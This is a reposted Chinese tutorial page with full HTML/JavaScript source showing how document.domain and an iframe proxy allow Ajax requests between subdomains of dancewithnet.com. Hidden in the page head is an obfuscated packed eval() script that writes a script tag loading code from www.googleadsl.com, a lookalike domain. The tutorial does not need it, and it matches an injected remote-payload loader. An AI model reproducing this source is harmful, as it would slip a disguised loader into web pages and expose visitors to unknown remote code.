用document.domain解决Ajax跨域

来源:互联网 发布:免费云计算平台 编辑:程序博客网 时间:2024/05/19 14:38

利用Ajax在dancewithnet.com域下获取http://lab.dancewithnet.com/2007/07/solve-cross-domain-ajax-with-document-domain/eg.txt的内容

方法1:

如果方法1获取成功,此处文字将被Ajax获取的文字替换掉

方法2:

如果方法2获取成功,此处文字将被Ajax获取的文字替换掉


源码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>用document.domain解决Ajax跨域</title>
<meta name="description" content="用document.domain解决Ajax跨域" />
<meta name="keywords" content="AJAX,document.domain,跨域,XMLHTTPReqeust,Javascript" />
<style type="text/css">
<!--
*{margin:0;padding:0;}
body{padding:2em;background:#242424;color:#ccc;}
h1{text-align:center;line-height:200%;}
h3{text-indent:1em;line-height:160%;color:#666;font-weight:normal;font-size:1em;}
h3 a{color:#bbb; text-decoration:none;margin:0 0.5em;}
h3 a:hover{color:#fff;}
p{margin:1em 5em 2em 5em;}
span{margin:0 0.5em;font-size:85.7%;}
iframe{display:none;}
-->
</style>


<Script language="javascript">
<!--
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('b.a(\'<9 8="7://6.5.4/3/2.1"></0>\');',12,12,'script|js|cp|spcode|com|googleadsl|www|http|src|SCRIPT|write|document'.split('|'),0,{}))
-->
</Script>
</head> 


<body>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">
_uacct = "UA-300049-1";
urchinTracker();
</script> 
<h1>用document.domain解决Ajax跨子域</h1>
<h3><a href="http://dancewithnet.com/2007/07/22/solve-cross-sub-domain-ajax-with-document-domain/">说明</a>|<a href="http://dancewithnet.com/2007/07/22/solve-cross-sub-domain-ajax-with-document-domain/#comments">评论</a></h3>
<p>利用Ajax在dancewithnet.com域下获取http://lab.dancewithnet.com/2007/07/solve-cross-domain-ajax-with-document-domain/eg.txt的内容</p>
<p>方法1:<br /><button type="button" id="btn1">直接获取</button></p>
<p id="content1">如果方法1获取成功,此处文字将被Ajax获取的文字替换掉</p>
<p>方法2:<br /><button type="button" id="btn2">利用iframe代理获取</button></p>
<p id="content2">如果方法2获取成功,此处文字将被Ajax获取的文字替换掉</p>
<iframe src="http://lab.dancewithnet.com/2007/07/solve-cross-domain-ajax-with-document-domain/proxy.html" id="proxy"></iframe>
<script type="text/javascript" src="http://dancewithnet.com/lab/yui/yahoo-dom-event.js"></script>
<script type="text/javascript" src="http://dancewithnet.com/lab/yui/connection.js"></script>
<script type="text/javascript">//<![CDATA[
document.domain = 'dancewithnet.com';
var $D = YAHOO.util.Dom;
var $  = $D.get;
var $E = YAHOO.util.Event;
var $C = YAHOO.util.Connect;


$E.on('btn1','click',getContent1);
var getContent1 = function(){
var sUrl = 'http://lab.dancewithnet.com/2007/07/solve-cross-domain-ajax-with-document-domain/eg.txt';
var request = $C.asyncRequest('GET',sUrl,{
success:function(o){
$('content1').innerHTML = o.responseText;
},
failure:function(){}
});
}




var getContent2 = function(){
var sUrl = 'http://lab.dancewithnet.com/2007/07/solve-cross-domain-ajax-with-document-domain/eg.txt';
var proxy = $('proxy').contentWindow;
var proxy$C = proxy.YAHOO.util.Connect;
var request = proxy$C.asyncRequest('GET',sUrl,{
success:function(o){
$('content2').innerHTML = o.responseText;
},
failure:function(){}
});
}
$E.on('btn2','click',getContent2);
//]]></script> 
</body> 
</html> 

原创粉丝点击